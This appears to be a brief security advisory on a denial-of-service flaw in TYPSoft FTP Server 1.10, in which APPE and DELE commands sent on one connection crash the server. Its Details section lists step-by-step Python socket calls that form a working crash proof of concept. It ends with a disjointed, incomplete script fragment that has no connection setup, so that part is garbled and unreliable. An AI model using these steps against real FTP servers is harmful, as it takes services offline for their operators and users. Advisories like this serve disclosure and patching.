Vendor: TYPSoft

Affected:
TYPSoft FTP Server Version 1.10
Earlier versions may also be affected

Overview:
TYPSoft FTP Server is an easy use FTP server Application. Denial of Service 
vulnerability exists in TYPSoft FTP Server when 

"APPE" and "DELE" commands are used in the same socket connection.

Details:
If you could log on the server successfully, take the following steps and the 
ftp server will crash which would lead to 

Denial of Service attack:

1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("PORT 127,0,0,1,122,107\r\n")
5.sock.send("APPE "+ test_string +"\r\n")
6.sock.send("DELE "+ test_string +"\r\n")
7.sock.close()


Severity:
High

#!/usr/bin/python
import socket

        r=sock.recv(1024)
        print "[+] "+ r    
         
        sock.close()
